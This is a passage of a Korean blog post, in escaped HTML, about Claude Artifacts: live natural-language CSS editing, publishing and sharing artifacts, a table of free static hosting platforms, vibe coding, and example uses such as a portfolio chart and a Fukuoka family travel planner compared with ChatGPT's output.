&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;즉각적 수정:&lt;/b&gt; 클로드가 CSS의 &lt;code&gt;font-size&lt;/code&gt;, &lt;code&gt;padding&lt;/code&gt;, &lt;code&gt;percentage-label&lt;/code&gt; 스타일을 자동 수정하여 화면을 즉시 갱신&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;기존 방식과 뭐가 다른가&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;원래 프론트엔드 디버깅은 DevTools를 열고, 요소를 찾고, CSS를 수정하고, 코드에 반영하는 순서였다. Artifacts에서는 이 과정 전체가 &lt;b&gt;자연어 한 문장&lt;/b&gt;으로 끝난다. AI와 사용자가 같은 화면을 보며 함께 고치는 &lt;b&gt;'라이브 작업 공간(Live Workspace)'&lt;/b&gt;에 가깝다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이런 식의 수정은 CSS에 국한되지 않는다. 몇 가지 예를 더 살펴보면:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;다크 모드로 바꿔줘&quot;&lt;/b&gt; &amp;rarr; 배경색, 텍스트 색상, 보더 색상이 한 번에 전환&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;모바일에서도 잘 보이게 반응형으로 만들어줘&quot;&lt;/b&gt; &amp;rarr; 미디어 쿼리가 추가되어 레이아웃이 재구성&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;&quot;바 차트를 파이차트로 변경해줘&quot;&lt;/b&gt; &amp;rarr; Recharts 컴포넌트가 교체되어 완전히 다른 시각화가 렌더링&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 제로 컨피그 배포 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. '0원' 무한 배포 파이프라인&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;내장 퍼블리시 기능&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;클로드의 결과물은 채팅창 안에 갇혀 있지 않다. &lt;b&gt;사이드 패널에 생성된 Artifact&lt;/b&gt;의 경우, 우측 상단의 &lt;b&gt;Share(공유) 버튼&lt;/b&gt;을 클릭하면 팝업이 뜨고, 여기서 &lt;b&gt;'Publish &amp;amp; Copy Link'&lt;/b&gt;를 누르면:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;code&gt;claude.ai/public/artifacts/...&lt;/code&gt; 형태의 &lt;b&gt;공개 URL&lt;/b&gt;이 생성되고 클립보드에 복사됨&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;누구나 링크만으로 접근 가능 (Claude 계정 불필요)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;계정이 있는 사용자는 &lt;b&gt;'Customize'(리믹스)&lt;/b&gt;하여 자기만의 버전으로 수정 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;퍼블리시 후 &lt;b&gt;'Get embed code'&lt;/b&gt; 버튼이 나타나며, 외부 사이트/CMS에 삽입할 수 있는 임베드 코드 제공&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;공개를 취소하려면 &lt;b&gt;'Unpublish'&lt;/b&gt; 버튼으로 즉시 비공개 전환 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/9547008-publishing-and-sharing-artifacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: Publishing and sharing artifacts&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: 인라인 시각화(Custom Visuals)는 바로 퍼블리시할 수 없다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 업데이트 이후, 클로드는 대화 흐름 안에 직접 차트와 시각화를 렌더링하는 &lt;b&gt;인라인 시각화&lt;/b&gt;를 자주 생성한다. 이것은 사이드 패널 Artifact와 다른 기능이다. 인라인 시각화의 &lt;code&gt;...&lt;/code&gt; 메뉴에는 &lt;b&gt;'Save as artifact'&lt;/b&gt;가 표시되며, 이를 눌러 Artifact로 변환한 뒤에야 Publish가 가능하다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;퍼블리시 워크플로우:&lt;/b&gt; 인라인 시각화 생성 &amp;rarr; &lt;code&gt;...&lt;/code&gt; 메뉴 &amp;rarr; 'Save as artifact' &amp;rarr; 저장된 Artifact 열기 &amp;rarr; Share &amp;rarr; Publish&lt;/p&gt;
&lt;p style=&quot;margin-top: 5px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://support.claude.com/en/articles/13979539-custom-visuals-in-chat&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Help Center: Custom visuals in chat&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;또한 HTML Artifact는 &lt;b&gt;.html 파일로 즉시 다운로드&lt;/b&gt;가 가능하다. 이 파일은 백엔드 없이 구동되는 정적 파일이므로, 무료 호스팅 플랫폼에 업로드하는 것만으로 전 세계에 공개되는 웹 서비스가 된다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;무료 호스팅 플랫폼 비교&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;플랫폼&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;무료 대역폭&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;배포 방법&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;상업적 이용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Cloudflare Pages&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;무제한&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;대시보드 드래그앤드롭 또는 Wrangler CLI&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;허용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;GitHub Pages&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;100GB/월&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Git push 후 자동 배포&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;비상업적 용도만&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Netlify&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;100GB/월&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;드래그앤드롭 또는 Git 연동&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;허용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Vercel&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;100GB/월&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Git 연동 자동 배포&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;무료 플랜 금지&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: 각 플랫폼 공식 문서 &amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://developers.cloudflare.com/pages/platform/limits/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Cloudflare Pages Limits&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://docs.github.com/en/pages/getting-started-with-github-pages/github-pages-limits&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Pages Limits&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;추천: Cloudflare Pages&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;무제한 대역폭, 무제한 요청, 상업적 이용 허용 &amp;mdash; Claude Artifact를 배포하기에 가장 적합한 무료 호스팅이다. 단일 HTML 파일은 모든 제한에 여유롭게 들어온다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;바이브 코딩(Vibe Coding)의 부상&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이러한 흐름은 2025년 초 &lt;b&gt;Andrej Karpathy&lt;/b&gt;(前 Tesla AI 디렉터, OpenAI 초기 연구원)가 명명한 &lt;b&gt;'바이브 코딩(Vibe Coding)'&lt;/b&gt; 트렌드와 맞닿아 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;&quot;There's a new kind of coding I call 'vibe coding', where you fully
give in to the vibes, embrace exponentials, and forget that the code
even exists.&quot;

&quot;'바이브 코딩'이라 부르는 새로운 종류의 코딩이 있다.
바이브에 완전히 몸을 맡기고, 코드가 존재한다는 사실 자체를 잊어버리는 것이다.&quot;
&amp;mdash; Andrej Karpathy, 2025년 2월 2일 (X/Twitter)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Vibe Coding&quot;은 &lt;b&gt;2025년&lt;/b&gt; Collins English Dictionary &lt;b&gt;올해의 단어&lt;/b&gt;로 선정되었다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://en.wikipedia.org/wiki/Vibe_coding&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Wikipedia: Vibe coding&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;바이브 코딩 플랫폼 숫자가 꽤 빠르게 커지고 있다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Lovable:&lt;/b&gt; 8개월 만에 ARR 1억 달러 달성, 2025년 12월 시리즈B $3.3억 조달, 기업가치 $66억&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Y Combinator W25 배치:&lt;/b&gt; 스타트업의 25%가 코드베이스의 95%를 AI로 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 10px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: Lovable &amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://techcrunch.com/2025/12/18/vibe-coding-startup-lovable-raises-330m-at-a-6-6b-valuation/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch: Lovable raises $330M&lt;/a&gt;, YC &amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.saastr.com/the-vibe-coding-tam-how-big-can-this-market-really-get/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SaaStr: The Vibe Coding TAM&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;클로드의 Artifacts는 바이브 코딩에 가장 쉽게 발을 들일 수 있는 방법 중 하나다. IDE 설치 없이 브라우저에서 자연어만으로 웹 앱을 만들고 바로 배포할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 실전 적용 시나리오 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 적용 시나리오&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제로 써먹을 수 있는 Artifacts 활용 시나리오를 몇 가지 꼽아 봤다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;금융 및 데이터 대시보드&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;종목 리스트를 텍스트로 받는 대신, &lt;b&gt;'배당주 시뮬레이터'&lt;/b&gt;를 만들어서 비중을 직접 조절하며 예상 수익 차트가 어떻게 바뀌는지 확인한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Chart.js 연동:&lt;/b&gt; 부드러운 애니메이션이 적용된 파이 차트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Hover Interaction:&lt;/b&gt; 마우스를 올리면 데이터 팝업이 뜨는 영역&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Dynamic Inputs:&lt;/b&gt; 사용자가 비중 값을 직접 조절할 수 있는 입력 필드 (양방향 데이터 바인딩)&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;비교: 같은 요청, 다른 결과&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;2억 원 포트폴리오, 변동성 낮은 월배당 차트 만들어줘&quot;&lt;/b&gt;라고 요청했을 때:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;클로드 ($20/월):&lt;/b&gt; 인터랙티브 파이차트 + 데이터 테이블 + 실시간 비중 조절 슬라이더가 포함된 웹 앱. 즉시 배포 가능한 HTML 파일로 다운로드.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;ChatGPT ($20/월):&lt;/b&gt; 마크다운 표 + 텍스트 설명이 기본. 차트가 필요하면 별도 요청 후 Python(Matplotlib) 기반 정적 이미지를 생성하며, 엑셀로 내보내야 하는 경우가 많다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 클로드 vs ChatGPT&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A8tfo/dJMcacoYhwY/V9WdJwOCJuBEIqj25eVfmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A8tfo/dJMcacoYhwY/V9WdJwOCJuBEIqj25eVfmK/img.png&quot; style=&quot;width: 45.4366%; margin-right: 10px;&quot; data-origin-width=&quot;1215&quot; data-origin-height=&quot;2113&quot; data-is-animation=&quot;false&quot; data-filename=&quot;blob&quot; data-widthpercent=&quot;45.97&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A8tfo/dJMcacoYhwY/V9WdJwOCJuBEIqj25eVfmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA8tfo%2FdJMcacoYhwY%2FV9WdJwOCJuBEIqj25eVfmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1215&quot; height=&quot;2113&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/br7Ozy/dJMcaa5LhkW/6ISmxS0gR9wvmG2f83wsPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/br7Ozy/dJMcaa5LhkW/6ISmxS0gR9wvmG2f83wsPk/img.png&quot; style=&quot;width: 53.4006%;&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;1752&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;54.03&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/br7Ozy/dJMcaa5LhkW/6ISmxS0gR9wvmG2f83wsPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbr7Ozy%2FdJMcaa5LhkW%2F6ISmxS0gR9wvmG2f83wsPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1184&quot; height=&quot;1752&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;클로드 vs GPT&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;여행 및 일상 기획&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;비개발자에게 가장 와닿는 사례가 여행 계획이다. 이 예시는 동료 개발자분 khr 님의 결과물을 보고 작성 하게 되었다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제로 &lt;b&gt;&quot;가족끼리 후쿠오카 여행 가는데, 아이가 있으니 인파가 몰리지 않는 곳 위주로 3박 4일 일정 짜줘&quot;&lt;/b&gt;라고 요청하면, 텍스트 나열이 아닌 &lt;b&gt;인터랙티브 여행 플래너&lt;/b&gt;가 만들어진다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;일자별 타임라인:&lt;/b&gt; 날짜를 클릭하면 해당 일정이 펼쳐지는 아코디언 UI&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;지도 시각화:&lt;/b&gt; 방문 장소가 마커로 표시되고, 이동 동선이 선으로 연결&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;예산 대시보드:&lt;/b&gt; 숙박비, 교통비, 식비, 입장료가 카테고리별 파이차트로 표시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;실시간 수정:&lt;/b&gt; &quot;셋째 날 오후는 비 올 수도 있으니 실내로 바꿔줘&quot;라고 하면 즉시 반영&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;비교: 같은 요청, 다른 결과&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;후쿠오카 3박 4일, 아이 동반 가족여행 일정 짜줘&quot;&lt;/b&gt;라고 요청했을 때:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;클로드:&lt;/b&gt; 일자별 탭 전환, 장소 카드에 아이 적합도 표시, 예산 시각화, 날씨 대비 대안까지 포함된 인터랙티브 시각화. 'Save as artifact' 후 퍼블리시하면 가족에게 링크로 공유 가능.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;일반 텍스트 AI:&lt;/b&gt; &quot;1일차: 오호리 공원 &amp;rarr; 하카타 역... 2일차: ...&quot; 형태의 텍스트 목록. 정보는 같아도 한눈에 파악하기 어렵고, 수정하려면 다시 요청해야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여행뿐 아니라 결혼식 좌석 배치도, 이사 체크리스트, 아이 성장 기록표 같은 일상 기획에도 같은 패턴이 적용된다. 코딩을 몰라도 &lt;b&gt;&quot;이렇게 보여줘&quot;&lt;/b&gt;라고 말하면 되니까.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 생성된 결과&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 일자별 여행 경로를 실제 클릭하면 동작하도록 인터렉티브하게 만들어 준다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 그리고 복사도 가능하며, 경로열기 클릭시 구글 지도에 표현도 되게 되어 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1190&quot; data-origin-height=&quot;2394&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2oUAs/dJMcaadDerI/gAjkKg5vnUKrW1tr2YQSbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2oUAs/dJMcaadDerI/gAjkKg5vnUKrW1tr2YQSbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2oUAs/dJMcaadDerI/gAjkKg5vnUKrW1tr2YQSbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2oUAs%2FdJMcaadDerI%2FgAjkKg5vnUKrW1tr2YQSbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;626&quot; height=&quot;1259&quot; data-origin-width=&quot;1190&quot; data-origin-height=&quot;2394&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 생성된 지도 링크 : &lt;a href=&quot;https://www.google.com/maps/dir/?api=1&amp;amp;origin=%EB%8F%84%EC%B4%88%EC%A7%80%28%E6%9D%B1%E9%95%B7%E5%AF%BA%29+-+%EC%9D%BC%EB%B3%B8+%EC%B5%9C%EB%8C%80+%EB%AA%A9%EC%A1%B0+%EC%A2%8C%EB%B6%88%EC%83%81&amp;amp;origin_place_id=ChIJa2avE8GRQTURwD8yDpUT99g&amp;amp;destination=%EB%AA%A8%EB%AA%A8%EC%B9%98+%ED%95%B4%EB%B3%80%EA%B3%B5%EC%9B%90+-+%EC%84%9D%EC%96%91+%EC%82%B0%EC%B1%85&amp;amp;destination_place_id=ChIJVySQW6qTQTUR1FtUfzDxrNA&amp;amp;waypoints=%EB%9D%BC%EC%BF%A0%EC%8A%A4%EC%9D%B4%EC%97%94%28%E6%A5%BD%E6%B0%B4%E5%9C%92%29+-+%ED%95%98%EC%B9%B4%ED%83%80+%EC%88%A8%EC%9D%80+%EC%A0%95%EC%9B%90%7C%EC%98%A4%ED%98%B8%EB%A6%AC+%EA%B3%B5%EC%9B%90%28%E5%A4%A7%E6%BF%A0%E5%85%AC%E5%9C%92%29+-+%EB%B0%B1%EC%A1%B0%EB%B3%B4%ED%8A%B8+%26+%EB%86%80%EC%9D%B4%ED%84%B0&amp;amp;travelmode=driving&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.google.com/maps/&lt;/a&gt;&lt;/p&gt;
